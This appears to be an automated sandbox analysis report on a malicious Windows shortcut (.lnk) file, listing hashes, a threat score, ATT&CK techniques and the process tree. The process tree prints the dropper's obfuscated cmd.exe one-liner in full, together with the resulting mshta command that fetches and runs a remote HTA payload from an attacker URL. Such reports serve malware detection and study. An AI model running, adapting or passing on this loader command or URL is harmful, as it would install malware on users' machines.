9cdae74be9bd4d37c166eee1da434f2767e8bef4565028fffd551c0d5bdca6eb

Analysis

max time kernel
148s
max time network
128s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
04/08/2026, 08:33

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General

Target
DOC-4B4JR4.lnk
Size 2KB
Sample260804-kfvtaa1tb1
SHA256 9cdae74be9bd4d37c166eee1da434f2767e8bef4565028fffd551c0d5bdca6eb
MD5 6b8ff1bf57fef8fd8bd1b80aa28f8f20
SHA1 dd9643b6a5ade6555a9ceb87cfd262d95e6da217
SHA512 55e06ff47a18349120c6afad220265fb3ce45df7a2ade289568d1711aa4b0c53077271cecada9ccc506b26fb7ac8975735e66c77eef713ebb626eecd977800cc
TLSH
T1E04171803AEE51E8F2BB9E72CDFE3741487FB8625DB1D58E0C10814C1422B04D873B66
MD5 SHA1 SHA512 TLSH

Score

10^/10

execution

Malware Config

Extracted

Language

Source

URLs

hta.dropper
https://ma-pdffiller.lat/h/estagio1.php?r=391469FB5D82DB

Signatures

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 2 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
3296	cmd.exe
1248	cmd.exe

Suspicious use of WriteProcessMemory 2 IoCs

description	pid	Process	procid_target
PID 1248 wrote to memory of 3296	1248	cmd.exe	90
PID 3296 wrote to memory of 4528	3296	cmd.exe	91

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\DOC-4B4JR4.lnk
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:1248
- C:\WINDOWS\system32\cmd.exe
  "C:\WINDOWS\system32\cmd.exe" /d /v:on /c "set yf=tmpwceerndglcsddqtqtmp&&set Bqc=tmpqgpzovrjuzwwtmp&&set JYpTF=bakxpanuutbak&&set AHd=inffrxginf&&set FLJgp=wrstarp&&set LxTVO=et3r&&set IHr=netlpwtnet&&set hNFO=cfgfvczwyveticfg&&set xOtLk=dbgkqjkdlsxvyjzdbg&&set OiekP=winxjbrtkrzzwin&&set czm=bakojrurebak&&set Lv=gm0&&set GYFR=ywshtadex&&set ETwuT=h@ttp@s:@//m@[email protected]@a@t@/h@/esta@g@[email protected]@p?r@=3@9@1469FB5@D82@D@B&&start /b !Lv:~1,1!!GYFR:~2,4! !ETwuT:@=!"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:3296
- - C:\Windows\System32\mshta.exe
    mshta https://ma-pdffiller.lat/h/estagio1.php?r=391469FB5D82DB
    3⤵
    PID:4528

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Windows Command Shell

T1059.003

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

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Downloads